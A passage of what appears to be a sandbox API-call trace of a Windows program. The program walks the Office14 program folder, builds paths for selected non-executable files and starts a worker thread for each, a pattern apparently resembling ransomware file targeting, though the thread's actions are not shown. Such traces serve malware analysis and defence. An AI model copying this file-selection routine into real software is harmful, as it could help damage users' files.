ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0150.357] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.dll", _String2=".") returned 1 [0150.357] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.dll", _String2="..") returned 1 [0150.357] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1 [0150.357] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.xml", _String2=".") returned 1 [0150.357] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.xml", _String2="..") returned 1 [0150.357] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4d90 [0150.357] wcscpy (in: _Dest=0x8f4d90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.357] wcscat (in: _Dest=0x8f4d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.357] wcscat (in: _Dest=0x8f4d90, _Source="Microsoft.Office.Interop.InfoPath.Xml.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" [0150.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f4d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e8 [0150.360] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1 [0150.382] wcscmp (_String1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", _String2=".") returned 1 [0150.382] wcscmp (_String1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", _String2="..") returned 1 [0150.382] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1 [0150.382] wcscmp (_String1="microsoft.office.workflow.actions.proxy.dll", _String2=".") returned 1 [0150.382] wcscmp (_String1="microsoft.office.workflow.actions.proxy.dll", _String2="..") returned 1 [0150.382] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0150.382] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", _String2=".") returned 1 [0150.382] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", _String2="..") returned 1 [0150.382] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0150.382] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", _String2=".") returned 1 [0150.382] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", _String2="..") returned 1 [0150.382] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xce) returned 0x8dcee0 [0150.382] wcscpy (in: _Dest=0x8dcee0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.382] wcscat (in: _Dest=0x8dcee0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.382] wcscat (in: _Dest=0x8dcee0, _Source="Microsoft.SharePoint.BusinessData.Administration.Client.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" [0156.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dcee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e8 [0156.252] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1 [0156.252] wcscmp (_String1="microsoft.sharepoint.workflowactions.proxy.dll", _String2=".") returned 1 [0156.252] wcscmp (_String1="microsoft.sharepoint.workflowactions.proxy.dll", _String2="..") returned 1 [0156.252] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0156.252] wcscmp (_String1="MIMEDIR.DLL", _String2=".") returned 1 [0156.252] wcscmp (_String1="MIMEDIR.DLL", _String2="..") returned 1 [0156.252] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0156.252] wcscmp (_String1="misc.exe", _String2=".") returned 1 [0156.252] wcscmp (_String1="misc.exe", _String2="..") returned 1 [0156.252] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0156.252] wcscmp (_String1="MLCFG32.CPL", _String2=".") returned 1 [0156.252] wcscmp (_String1="MLCFG32.CPL", _String2="..") returned 1 [0156.252] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0156.252] wcscmp (_String1="MLSHEXT.DLL", _String2=".") returned 1 [0156.252] wcscmp (_String1="MLSHEXT.DLL", _String2="..") returned 1 [0156.252] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0156.252] wcscmp (_String1="MML2OMML.XSL", _String2=".") returned 1 [0156.252] wcscmp (_String1="MML2OMML.XSL", _String2="..") returned 1 [0156.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cb48 [0156.252] wcscpy (in: _Dest=0x93cb48, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.252] wcscat (in: _Dest=0x93cb48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.252] wcscat (in: _Dest=0x93cb48, _Source="MML2OMML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" [0156.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64 [0156.254] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0156.254] wcscmp (_String1="MODELENG.DLL", _String2=".") returned 1 [0156.254] wcscmp (_String1="MODELENG.DLL", _String2="..") returned 1 [0156.254] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0156.254] wcscmp (_String1="MORPH9.DLL", _String2=".") returned 1 [0156.254] wcscmp (_String1="MORPH9.DLL", _String2="..") returned 1 [0156.254] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0156.254] wcscmp (_String1="MPXINT.DLL", _String2=".") returned 1 [0156.254] wcscmp (_String1="MPXINT.DLL", _String2="..") returned 1 [0156.254] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0156.254] wcscmp (_String1="MSACC.OLB", _String2=".") returned 1 [0156.254] wcscmp (_String1="MSACC.OLB", _String2="..") returned 1 [0156.254] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c710 [0156.254] wcscpy (in: _Dest=0x93c710, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.254] wcscat (in: _Dest=0x93c710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.254] wcscat (in: _Dest=0x93c710, _Source="MSACC.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" [0156.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0 [0156.255] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0156.255] wcscmp (_String1="MSACCESS.EXE", _String2=".") returned 1 [0156.255] wcscmp (_String1="MSACCESS.EXE", _String2="..") returned 1 [0156.256] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="MSACCE~1.MAN")) returned 1 [0156.256] wcscmp (_String1="msaccess.exe.manifest", _String2=".") returned 1 [0156.256] wcscmp (_String1="msaccess.exe.manifest", _String2="..") returned 1 [0156.256] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0xd4c8110 [0156.256] wcscpy (in: _Dest=0xd4c8110, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.256] wcscat (in: _Dest=0xd4c8110, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.256] wcscat (in: _Dest=0xd4c8110, _Source="msaccess.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" [0156.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c8110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c [0156.257] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0156.257] wcscmp (_String1="MSAEXP30.DLL", _String2=".") returned 1 [0156.257] wcscmp (_String1="MSAEXP30.DLL", _String2="..") returned 1 [0156.257] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0156.257] wcscmp (_String1="MSCOL11.INF", _String2=".") returned 1 [0156.257] wcscmp (_String1="MSCOL11.INF", _String2="..") returned 1 [0156.257] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bdb0 [0156.257] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.257] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.257] wcscat (in: _Dest=0x93bdb0, _Source="MSCOL11.INF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" [0156.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0156.259] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0156.259] wcscmp (_String1="MSCOL11.PPD", _String2=".") returned 1 [0156.259] wcscmp (_String1="MSCOL11.PPD", _String2="..") returned 1 [0156.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93cbc0 [0156.259] wcscpy (in: _Dest=0x93cbc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.259] wcscat (in: _Dest=0x93cbc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.259] wcscat (in: _Dest=0x93cbc0, _Source="MSCOL11.PPD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" [0156.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cbc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0156.260] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="MSBB80~1.DUB")) returned 1 [0156.260] wcscmp (_String1="mscss7cm_en.dub", _String2=".") returned 1 [0156.260] wcscmp (_String1="mscss7cm_en.dub", _String2="..") returned 1 [0156.260] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99dc08 [0156.261] wcscpy (in: _Dest=0x99dc08, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.261] wcscat (in: _Dest=0x99dc08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.261] wcscat (in: _Dest=0x99dc08, _Source="mscss7cm_en.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" [0156.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99dc08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0156.262] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="MSCSS7~1.DUB")) returned 1 [0156.262] wcscmp (_String1="mscss7cm_es.dub", _String2=".") returned 1 [0156.262] wcscmp (_String1="mscss7cm_es.dub", _String2="..") returned 1 [0156.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99df88 [0156.262] wcscpy (in: _Dest=0x99df88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.262] wcscat (in: _Dest=0x99df88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.262] wcscat (in: _Dest=0x99df88, _Source="mscss7cm_es.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" [0156.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99df88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0156.267] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="MSCSS7~3.DUB")) returned 1 [0156.267] wcscmp (_String1="mscss7cm_fr.dub", _String2=".") returned 1 [0156.267] wcscmp (_String1="mscss7cm_fr.dub", _String2="..") returned 1 [0156.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99dd88 [0156.267] wcscpy (in: _Dest=0x99dd88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.268] wcscat (in: _Dest=0x99dd88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.268] wcscat (in: _Dest=0x99dd88, _Source="mscss7cm_fr.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" [0156.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99dd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64 [0156.269] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, 